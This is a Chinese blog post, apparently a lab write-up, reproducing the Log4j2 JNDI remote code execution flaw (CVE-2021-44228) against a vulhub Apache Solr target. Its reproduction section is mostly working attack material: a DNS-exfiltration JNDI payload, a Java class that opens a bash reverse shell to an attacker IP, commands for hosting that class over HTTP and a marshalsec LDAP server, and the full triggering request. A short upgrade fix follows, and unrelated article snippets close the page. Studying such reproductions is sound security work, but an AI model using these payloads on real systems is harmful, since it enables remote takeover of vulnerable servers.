Apache Log4j2远程命令执行漏洞

news/2024/10/8 4:34:21

目录
  • 漏洞原理
  • 复现
    • 反弹shell
  • 漏洞修复

AApache Log4j2 是一个基于Java的日志记录工具,被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2 远程代码执行漏洞编号 CVE-2021-44228。

漏洞原理

漏洞主要由于Log4j2在处理程序日志记录时存在 JNDI 入缺陷。JNDI是Java名称与目录接口,是一种查找其他组件、资源或服务的通用机制。利用这个缺陷,通过发送包含JNDI查找的恶意数据,触发Log4j2组件解析缺陷,实现远程代码执行。

Log4j2框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。在lookup的{}里面构造Payload,调用JNDI服务(LDAP、RMI等)获取恶意的class对象,造成了远程代码执行。

复现

影响版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1

环境搭建:使用 vulhub 搭建

cd /vulhub/log4j/CVE-2021-44228
docker compose up -d

访问 8983 可查看到 Apache Solr 的后台页面:

image

向 action 参数值发送利用 JNDI 发送DNS请求的Payload:

${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}

image

dnslog 平台成功收到解析记录,Payload中的 ${sys:java:version} 被替换为了对应的java版本。

image

在JNDI接口lookup查询进行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc} JNDI就会去对应的服务如LDAP、RMI、DNS查找资源,上面这个Paylaod就为DNS查询。

反弹shell

首先需要的在本地编译一个class文件,目的是让靶机远程加载这个类,执行其中反弹shell的代码。

//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;public class Shell {static {try {Runtime rt = Runtime.getRuntime();Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");pc.waitFor();} catch (Exception e) {// do nothing}}
}

class文件编译好以后,在class文件所在目录启用一个 python http 服务,让靶机可以访问到这个文件。

python3 -m http.server 2333 # 监听在2333端口

接着使用 marshalsec 这个项目来启动一个LADP服务,监听 1099 端口,并指定加载远程类文件:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099

利用JNDI注入调用LADP服务来远程加载这个Shell类,执行反弹shell的代码:

http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}

image

靶机回连到本地LADP服务,Python起的服务端收到请求返回Shell类,执行其中的反弹shell代码,kali监听1234收到反弹shell。

image

Log4j的利用方式和Fastjson很相似,通过JNDO注入,调用LDAP或RMI协议,远程加载恶意类造成反序列化命令执行。

漏洞修复

升级受影响的应用及组件,更新Log4j到新版本 log4j-2.15.0-rc2 及以上。

参考文章:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令执行.md
https://www.freebuf.com/vuls/382838.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/28150.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

使用collections中的namedtuple来处理数据

前言 tuple在python中是一种不可变的数据结构,和list这种可变的数据结构比较,两者都可以使用索引来读取数值,但是tuple不可变动,因此其不能修改其中的值。 示例:tuple适合存储不需要频繁变动的数据,但是在使用index来读取tuple中的item值时,就会存在问题,问题在于如果i…

JavaGUI - [04] BoxLayout

Swing编程题记部分 一、简介为了简化开发,Swing引入了一个新的布局管理器:BoxLayout。BoxLayout可以在垂直和水平两个方向上摆放GUI组件,BoxLayout提供了如下一个简单的构造器: BoxLayout(Container target,int axis)指定创建基于target容器的BoxLayout布局管理器,该布局管…

交换机基础及stp

一、交换机基础 交换机工作在数据链路层,转发数据帧,隔绝了以太网层的冲突域 1、泛洪未知单播泛洪 广播数据2、转发根据mac地址表进行转发 3、丢弃收到的arp请求中的目的mac地址是发起的接口,则会丢弃 二、stp(生成树协议) 环路引起广播风暴,网络中的主机会受到重复数据帧…

通过API触发airflow的DAG任务

背景 以前编写的DAG都是通过定时触发的,当前有一个场景需要通过手动提交API来触发,这样能够在用户需要的时候,主动触发执行任务,于是就有了这篇内容的摸索。 之前只知道airflow支持通过API来触发任务,但是具体如何操作是真不会,看了官方的API文档,也没找到具体方法,特别…

某塑料科技公司网络与机房监控运维项目

通过部署智和信通综合监控运维方案实时监控用户网络与机房内大量异构的交换机、路由器、服务器、AC/AP、数据库、防火墙、虚拟机、语音网关、硬盘录像机、行为管理等设备,及时发现并预警潜在问题,从而避免或减少故障带来的负面影响。 某塑料科技公司是由日本知名株式会…

ITIL4 服务价值系统(SVS):一场服务管理的革新之旅

在这个数字化时代,每一家企业都在追求高效的服务管理和卓越的客户体验。今天,我们就来聊一聊ITIL4中的服务价值系统(Service Value System, SVS)——一个让服务管理变得更加直观和高效的框架。 ITIL4服务价值系统:简明解读 SVS的核心理念非常朴素:一切始于客户需求,终于客…

[西湖论剑 2022]easy_api

源码审计 下载附件得war包,bandzip解压一下,审一下源码:这个没啥东西。反序列化入口,但是访问这里是需要绕过的:其实绕过也很简单,双斜杠就绕了:web.xml filter 绕过匹配访问(针对jetty)_jetty权限绕过-CSDN博客看lib里有啥依赖:fastjson1.2.48,这不老熟人了吗.....…

Linux 和 Windows11双系统安装

阅读目录 1.下载Linux系统 2. 制作Linux系统启动盘 3. 电脑分盘 4. 安装Ubuntu系统 5. 安装完成后可能遇到的黑屏问题解决 回到顶部 1.下载Linux系统 下载Linux系统的镜像文件,Linux系统有很多版本,Linux指的是系统内核,笔者下载的是Ubuntu系统,大家可以根据需要下载其他系…